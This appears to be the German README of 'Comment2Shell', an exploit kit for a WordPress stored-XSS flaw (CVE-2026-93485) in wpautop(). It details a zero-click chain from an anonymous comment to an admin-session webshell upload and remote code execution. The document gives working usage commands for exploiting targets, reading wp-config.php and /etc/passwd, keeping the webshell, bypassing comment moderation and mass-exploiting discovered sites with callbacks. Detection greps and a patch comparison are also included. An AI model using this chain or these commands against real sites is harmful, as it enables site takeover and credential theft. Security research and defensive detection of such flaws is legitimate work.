Zero-Click-Pre-Auth-WordPress-CVE-2026-93485-Exploit-Kette: gespeichertes XSS in wpautop() eskaliert zum Admin-Session-Plugin-Upload und einer selbstlöschenden Webshell, mit Scanner, Shell und Nuclei-Template.
Comment2Shell ist ein End-to-End-Proof-of-Concept für CVE-2026-93485, ein
Pre-Authentication-Stored-XSS im WordPress-Core wpautop(), das zu Remote
Code Execution innerhalb einer Administrator-Sitzung eskaliert. Ein
anonymer Kommentar platziert die Payload; wenn ein Admin den Beitrag
öffnet, lädt der Browser ein Webshell-Plugin hoch, führt einen Befehl aus
und löscht die Shell wieder. Die gesamte Kette ist eine
abhängigkeitsfreie Python-Datei.
Comment2Shell ist ein Exploit- und Local-Lab-Kit für CVE-2026-93485. Der
Bug befindet sich in wp-includes/formatting.php, im wpautop()-Absatz-
Filter, der zur Anzeigezeit auf Kommentartext ausgeführt wird. Ein
Zeilenumbruch innerhalb eines blockquote cite-Attributs wird zu einem
HTML-Kommentar-Platzhalter; die Regex, die Blockquotes umschließt, stoppt
beim ersten und injiziert einen Absatz-Tag mitten in das Attribut,
welches der Browser dann als -Handler parst. Das
-Attribut löst ihn zero-click aus.
>onfocusautofocusDas Tool deckt die gesamte Kette ab: einen passiven Versionsscan, eine benigne XSS-Probe, den vollständigen Pre-Authentication-zu-RCE-Exploit, eine interaktive Shell und eine defensive IOC-Prüfung.
Der Exploit benötigt kein Konto, keine Nonce und keine Interaktion über das Ansehen des Beitrags durch den Admin hinaus. Kommentare müssen lediglich geöffnet sein.
WordPress betreibt einen großen Teil des Webs und wpautop() ist
Core-Code, daher wird der verwundbare Filter auf jeder betroffenen
Installation ausgeliefert, unabhängig von Theme oder Plugin. Das XSS ist
gespeichert, pre-authentication und zero-click. Da es in der
Admin-Sitzung ausgeführt wird, ist es mehr als ein Defacement-Bug: Das
Admin-Cookie reicht aus, um ein Plugin zu installieren, und das
Installieren eines Plugins ist beliebige Codeausführung.
Der Fix wurde in WordPress 7.1.1 mit Backports über 25 Branches ausgeliefert, bis hinunter zu 4.7.36. Jede Version von 4.7.0 bis 7.1.0 ist betroffen.
Kontrollierter Lab-Lauf gegen WordPress 7.1.0: Ein anonymer Kommentar
platziert die Payload, das Öffnen des Beitrags durch den Admin löst die
Zero-Click-Kette aus, die Webshell wird hochgeladen, die Befehlsausgabe
kommt zurück und die Shell löscht sich selbst. Der Browser-Tab-Titel
meldet das Ergebnis, entweder Comment2Shell: shell uploaded oder
Comment2Shell: admin login required. Siehe
docker/README.md für die genaue Vorgehensweise.
Comment2Shell beansprucht nicht die Entdeckung der Schwachstelle. Sie wurde von Rafie Muhammad (Awesome Motive) über das HackerOne-WordPress- Programm gemeldet und in 7.1.1 behoben. Der Beitrag hier ist eine reproduzierbare, abhängigkeitsfreie Implementierung der vollständigen Kette:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Keine Abhängigkeiten. Nur Python 3.8+ Standardbibliothek, kein
pip install.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -d targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
Die Exploit-Payload löst beim Laden der Seite
alert("Comment2Shell XSS - CVE-2026-93485")aus (zero-click viaautofocus). Sehen Sie den Beitrag an, während Sie als Admin angemeldet sind. Der Tab-Titel lautet dann bei ErfolgComment2Shell: shell uploaded, oderComment2Shell: admin login required, wenn der Browser keine Admin-Sitzung hat.
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"
# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60
# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup
# With an OAST callback
python3 comment2shell.py -t https://target.com \
-c "cat /etc/passwd" \
--callback https://your-id.oast.example
# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
-c "whoami" --known-commenter
# Through a proxy
python3 comment2shell.py -t https://target.com \
-c "id" --proxy http://127.0.0.1:8080
Das Tool übermittelt den XSS-Kommentar, fragt den generierten
Webshell-Pfad alle 3s ab (bis zu --wait Sekunden), führt den Befehl
aus, sobald der Browser des Admins den Upload auslöst, und löscht dann
die Shell selbst (?d=1 unlinkingt die PHP-Datei und entfernt das
Plugin-Verzeichnis), sodass keine Persistenz zurückbleibt. Übergeben Sie
--no-cleanup, um sie zu behalten, oder --wait 0, um nur die Payload
zu übermitteln.
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
--shell-path ab12cd/ab12cd.php
# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
--shell-path ab12cd/ab12cd.php -c "cat wp-config.php"
python3 comment2shell.py --ioc -t https://target.com
Neue Kommentare von Erstkommentatoren werden üblicherweise zur Moderation zurückgehalten. Das Tool hat drei Wege darum herum:
| Route | Methode | Flag |
|---|---|---|
| Bekannter Kommentator | Verwendet den Standard-„A WordPress Commenter" <[email protected]>, den check_comment() automatisch freigibt | --known-commenter |
| Moderation aus | Wenn comment_previously_approved=0, wird jede Identität automatisch freigegeben | Standard |
| Autor-Vorschau | Ein früherer Kommentator sieht ausstehende Kommentare über das ?unapproved=<id>&moderation-hash=<hash>-Cookie | automatisch |
Laut Patchstack: „Moderation ist keine Sicherheitskontrolle."
Starten Sie ein verwundbares WordPress 7.1.0 für lokale Tests:
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80 (host networking)
# Admin: admin / Password123!
# Then: python3 comment2shell.py -t http://localhost -c "id"
Jeder Lauf übermittelt einen neuen Payload-Kommentar. Nur die erste
Autofocus-Payload auf der Seite wird ausgeführt, daher erkennt das Tool
die aktive Payload und fragt ihren Pfad ab; führen Sie bash clean.sh
aus, um ältere Kommentare zwischen den Läufen zu löschen.
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null
# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
onfocus%' ORDER BY comment_date DESC;"
# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
-newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
-not -path "*/hello*"
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"
# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|
# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
httpx -silent -title | \
grep -i "wordpress" | \
python3 comment2shell.py --scan --stdin --threads 20
# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
python3 comment2shell.py -t - -c "id" \
--callback https://your-id.oast.example
# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
--threads 30 -o scan_results.json --json
wp-includes/formatting.php:563 (verwundbar, vor 7.1.1):
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );
Die Payload ist zur Speicherzeit benignes HTML. blockquote[cite] und
code stehen auf der Kommentar-Allowlist
(wp-includes/kses.php:605-633). Der Zeilenumbruch ist nicht in der
Syntax-Zeichen-Zuordnung von wp_kses_hair(). Der Exploit geschieht zur
Anzeigezeit, wenn die comment_text-Filter das gespeicherte HTML
transformieren.
add_filter( 'comment_text', 'wptexturize' ); // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 ); // THE BUG
Der Fix wurde in 7.1.1 über 25 Branches ausgeliefert. Jede Version von 4.7.0 bis 7.1.0 ist betroffen.
| Branch | Verwundbar <= | Behoben |
|---|---|---|
| 7.1 | 7.1.0 | 7.1.1 |
| 7.0 | 7.0.4 | 7.0.5 |
| 6.9 | 6.9.7 | 6.9.8 |
| 6.8 | 6.8.8 | 6.8.9 |
| 6.7 | 6.7.7 | 6.7.8 |
| 6.6 | 6.6.7 | 6.6.8 |
| 6.5 | 6.5.10 | 6.5.11 |
| 6.4 | 6.4.10 | 6.4.11 |
| 6.3 | 6.3.10 | 6.3.11 |
| 6.2 | 6.2.11 | 6.2.12 |
| 6.1 | 6.1.12 | 6.1.13 |
| 6.0 | 6.0.14 | 6.0.15 |
| 5.9 | 5.9.16 | 5.9.17 |
| 5.8 | 5.8.15 | 5.8.16 |
| 5.7 | 5.7.17 | 5.7.18 |
| 5.6 | 5.6.19 | 5.6.20 |
| 5.5 | 5.5.20 | 5.5.21 |
| 5.4 | 5.4.21 | 5.4.22 |
| 5.3 | 5.3.23 | 5.3.24 |
| 5.2 | 5.2.26 | 5.2.27 |
| 5.1 | 5.1.24 | 5.1.25 |
| 5.0 | 5.0.27 | 5.0.28 |
| 4.9 | 4.9.31 | 4.9.32 |
| 4.8 | 4.8.30 | 4.8.31 |
| 4.7 | 4.7.35 | 4.7.36 |
Comment2Shell/
|-- comment2shell.py scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/ vulnerable WordPress 7.1.0 lab
| |-- docker-compose.yml
| |-- setup.sh
| |-- clean.sh
| +-- README.md
|-- nuclei/ detection template
|-- ioc/ server-side IOC checker
|-- requests/ raw HTTP exploit templates
|-- assets/ banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE
wptexturize versiegelt
das Attribut); klassische Themes lösen ihn möglicherweise nicht aus.docker/clean.sh gelöscht werden.
Dieses Projekt existiert für autorisierte Sicherheitstests und Ausbildungszwecke. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben. Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal. Die Autoren sind nicht für Missbrauch oder Schäden verantwortlich. Siehe LICENSE.
0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383